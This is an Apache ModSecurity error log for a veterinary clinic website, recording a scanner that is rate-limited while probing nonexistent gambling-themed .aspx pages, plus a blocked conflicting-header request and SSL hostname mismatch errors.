[Sun Apr 05 14:39:58.199967 2026] [:error] [pid 45409:tid 45414] [client 51.68.34.57:54420] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "adIDvtHt_Oyw03gjCNgFWgAAAMM"]
[Sun Apr 05 14:40:00.638731 2026] [:error] [pid 45305:tid 45389] [client 51.68.34.57:54436] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "adIDwOjDQjr7aWhjflCxDgAAAJI"]
[Sun Apr 05 14:40:02.989091 2026] [:error] [pid 30921:tid 30938] [client 51.68.34.57:41808] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "adIDwmFGQVn8Q0ueB25OngAAAQ8"]
[Sun Apr 05 14:40:05.407018 2026] [:error] [pid 45305:tid 45372] [client 51.68.34.57:41812] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "adIDxejDQjr7aWhjflCxIQAAAIE"]
[Sun Apr 05 14:40:07.839518 2026] [:error] [pid 30921:tid 30947] [client 51.68.34.57:41824] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "adIDx2FGQVn8Q0ueB25OowAAARg"]
[Sun Apr 05 14:40:10.232242 2026] [:error] [pid 45409:tid 45413] [client 51.68.34.57:41834] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "adIDytHt_Oyw03gjCNgFfAAAAMI"]
[Sun Apr 05 14:40:12.603156 2026] [:error] [pid 45409:tid 45412] [client 51.68.34.57:53256] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "adIDzNHt_Oyw03gjCNgFhAAAAME"]
[Sun Apr 05 14:40:15.018039 2026] [:error] [pid 45305:tid 45389] [client 51.68.34.57:53262] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "adIDz-jDQjr7aWhjflCxQwAAAJI"]
[Sun Apr 05 14:40:17.553493 2026] [:error] [pid 45305:tid 45389] [client 51.68.34.57:53266] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "adID0ejDQjr7aWhjflCxTgAAAJI"]
[Sun Apr 05 14:40:20.219574 2026] [:error] [pid 45409:tid 45431] [client 51.68.34.57:53270] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "adID1NHt_Oyw03gjCNgFmwAAANQ"]
[Sun Apr 05 14:40:22.591324 2026] [:error] [pid 45409:tid 45418] [client 51.68.34.57:54182] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "adID1tHt_Oyw03gjCNgFqwAAAMc"]
[Sun Apr 05 14:40:24.991588 2026] [:error] [pid 30921:tid 30941] [client 51.68.34.57:54188] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "adID2GFGQVn8Q0ueB25OtwAAARI"]
[Sun Apr 05 14:40:27.716019 2026] [:error] [pid 45409:tid 45426] [client 51.68.34.57:54190] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "adID29Ht_Oyw03gjCNgFxAAAAM8"]
[Sun Apr 05 14:40:30.152220 2026] [:error] [pid 45305:tid 45389] [client 51.68.34.57:54194] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "adID3ujDQjr7aWhjflCxYQAAAJI"]
[Sun Apr 05 14:40:32.576855 2026] [:error] [pid 30921:tid 30939] [client 51.68.34.57:33430] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "adID4GFGQVn8Q0ueB25OvwAAARA"]
[Sun Apr 05 14:40:35.024383 2026] [:error] [pid 45305:tid 45386] [client 51.68.34.57:33442] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "adID4-jDQjr7aWhjflCxbwAAAI8"]
[Sun Apr 05 14:40:37.489356 2026] [:error] [pid 45304:tid 45363] [client 51.68.34.57:33454] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "adID5Q5jnqDKKovdRkmflAAAAFM"]
[Sun Apr 05 14:40:40.079251 2026] [:error] [pid 45303:tid 45334] [client 51.68.34.57:33466] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "adID6LboQ9eViZ4hdnk5CAAAABE"]
[Sun Apr 05 14:41:22.772990 2026] [:error] [pid 45303:tid 45324] [client 51.68.34.57:48910] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "adIEErboQ9eViZ4hdnk5QgAAAAc"]
[Sun Apr 05 14:41:25.269787 2026] [:error] [pid 45305:tid 45373] [client 51.68.34.57:53366] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "adIEFejDQjr7aWhjflCx9AAAAII"]
[Sun Apr 05 14:41:27.607508 2026] [:error] [pid 45409:tid 45417] [client 51.68.34.57:53372] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "adIEF9Ht_Oyw03gjCNgGtAAAAMY"]
[Sun Apr 05 14:41:30.066070 2026] [:error] [pid 45303:tid 45335] [client 51.68.34.57:53388] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "adIEGrboQ9eViZ4hdnk5UgAAABI"]
[Sun Apr 05 14:41:32.501537 2026] [:error] [pid 45305:tid 45390] [client 51.68.34.57:41482] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "adIEHOjDQjr7aWhjflCyBwAAAJM"]
[Sun Apr 05 14:41:35.068589 2026] [:error] [pid 45305:tid 45391] [client 51.68.34.57:41496] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "adIEH-jDQjr7aWhjflCyDQAAAJQ"]
[Sun Apr 05 14:41:37.387328 2026] [:error] [pid 45409:tid 45433] [client 51.68.34.57:41524] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adIEIdHt_Oyw03gjCNgGwQAAANY"]
[Sun Apr 05 14:41:39.793861 2026] [:error] [pid 45409:tid 45415] [client 51.68.34.57:41542] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "adIEI9Ht_Oyw03gjCNgGzgAAAMQ"]
[Sun Apr 05 14:41:42.085693 2026] [:error] [pid 30921:tid 30941] [client 51.68.34.57:57842] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "adIEJmFGQVn8Q0ueB25PIwAAARI"]
[Sun Apr 05 14:41:44.584512 2026] [:error] [pid 45304:tid 45360] [client 51.68.34.57:57860] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "adIEKA5jnqDKKovdRkmf0gAAAFA"]
[Sun Apr 05 14:41:46.975531 2026] [:error] [pid 45409:tid 45428] [client 51.68.34.57:57868] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "adIEKtHt_Oyw03gjCNgG6gAAANE"]
[Sun Apr 05 14:41:49.521607 2026] [:error] [pid 45409:tid 45434] [client 51.68.34.57:57892] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "adIELdHt_Oyw03gjCNgG-QAAANc"]
[Sun Apr 05 14:41:52.040306 2026] [:error] [pid 45305:tid 45379] [client 51.68.34.57:52016] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "adIEMOjDQjr7aWhjflCyKQAAAIg"]
[Sun Apr 05 14:41:54.462157 2026] [:error] [pid 30921:tid 30938] [client 51.68.34.57:52028] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "adIEMmFGQVn8Q0ueB25PKwAAAQ8"]
[Sun Apr 05 14:41:56.916942 2026] [:error] [pid 45303:tid 45328] [client 51.68.34.57:52050] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "adIENLboQ9eViZ4hdnk5iwAAAAs"]
[Sun Apr 05 14:41:59.250126 2026] [:error] [pid 45303:tid 45320] [client 51.68.34.57:52070] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "adIEN7boQ9eViZ4hdnk5kwAAAAM"]
[Sun Apr 05 14:42:02.083744 2026] [:error] [pid 45304:tid 45349] [client 51.68.34.57:36478] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "adIEOg5jnqDKKovdRkmf7QAAAEU"]
[Sun Apr 05 14:42:04.594484 2026] [:error] [pid 45304:tid 45362] [client 51.68.34.57:36492] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "adIEPA5jnqDKKovdRkmf-AAAAFI"]
[Sun Apr 05 14:42:07.127896 2026] [:error] [pid 45305:tid 45387] [client 51.68.34.57:36498] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "adIEP-jDQjr7aWhjflCyPwAAAJA"]
[Sun Apr 05 14:42:09.768009 2026] [:error] [pid 30921:tid 30935] [client 51.68.34.57:36518] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "adIEQWFGQVn8Q0ueB25PSQAAAQw"]
[Sun Apr 05 14:42:12.291626 2026] [:error] [pid 45305:tid 45371] [client 51.68.34.57:56152] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "adIEROjDQjr7aWhjflCySwAAAIA"]
[Sun Apr 05 14:42:14.912617 2026] [:error] [pid 45409:tid 45413] [client 51.68.34.57:56178] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "adIERtHt_Oyw03gjCNgHJAAAAMI"]
[Sun Apr 05 14:42:17.384692 2026] [:error] [pid 45305:tid 45389] [client 51.68.34.57:56194] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adIESejDQjr7aWhjflCyWAAAAJI"]
[Sun Apr 05 14:43:00.224923 2026] [:error] [pid 45409:tid 45421] [client 51.68.34.57:56206] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "adIEdNHt_Oyw03gjCNgHrAAAAMo"]
[Sun Apr 05 14:43:02.712634 2026] [:error] [pid 45303:tid 45338] [client 51.68.34.57:38060] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adIEdrboQ9eViZ4hdnk57wAAABU"]
[Sun Apr 05 14:43:04.911139 2026] [:error] [pid 45409:tid 45414] [client 51.68.34.57:38076] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "adIEeNHt_Oyw03gjCNgHtgAAAMM"]
[Sun Apr 05 14:43:07.115404 2026] [:error] [pid 45409:tid 45433] [client 51.68.34.57:38104] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "adIEe9Ht_Oyw03gjCNgHvwAAANY"]
[Sun Apr 05 14:43:09.586249 2026] [:error] [pid 45304:tid 45349] [client 51.68.34.57:38110] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adIEfQ5jnqDKKovdRkmgUgAAAEU"]
[Sun Apr 05 14:43:12.067989 2026] [:error] [pid 30921:tid 30945] [client 51.68.34.57:55050] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "adIEgGFGQVn8Q0ueB25PkgAAARY"]
[Sun Apr 05 14:43:14.452376 2026] [:error] [pid 45409:tid 45426] [client 51.68.34.57:55066] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "adIEgtHt_Oyw03gjCNgHzAAAAM8"]
[Sun Apr 05 14:43:16.845022 2026] [:error] [pid 45304:tid 45368] [client 51.68.34.57:55084] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "adIEhA5jnqDKKovdRkmgYQAAAFg"]
[Sun Apr 05 14:43:19.413154 2026] [:error] [pid 45303:tid 45320] [client 51.68.34.57:55110] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "adIEh7boQ9eViZ4hdnk5_QAAAAM"]
[Sun Apr 05 14:43:21.803833 2026] [:error] [pid 45305:tid 45385] [client 51.68.34.57:41394] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adIEiejDQjr7aWhjflCy4AAAAI4"]
[Sun Apr 05 14:43:24.256527 2026] [:error] [pid 45305:tid 45380] [client 51.68.34.57:41414] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "adIEjOjDQjr7aWhjflCy6gAAAIk"]
[Sun Apr 05 14:43:26.819404 2026] [:error] [pid 45303:tid 45338] [client 51.68.34.57:41418] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "adIEjrboQ9eViZ4hdnk6CwAAABU"]
[Sun Apr 05 14:59:18.603838 2026] [:error] [pid 30921:tid 30934] [client 43.157.82.252:50844] [client 43.157.82.252] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "adIIRmFGQVn8Q0ueB25VhwAAAQs"]
[Sun Apr 05 15:23:20.945936 2026] [ssl:error] [pid 45303:tid 45341] [client 15.204.161.7:9700] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://macfieldsvet.com.au/
[Sun Apr 05 16:11:10.334689 2026] [ssl:error] [pid 45305:tid 45379] [client 15.204.161.7:8224] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://www.macfieldsvet.com.au/
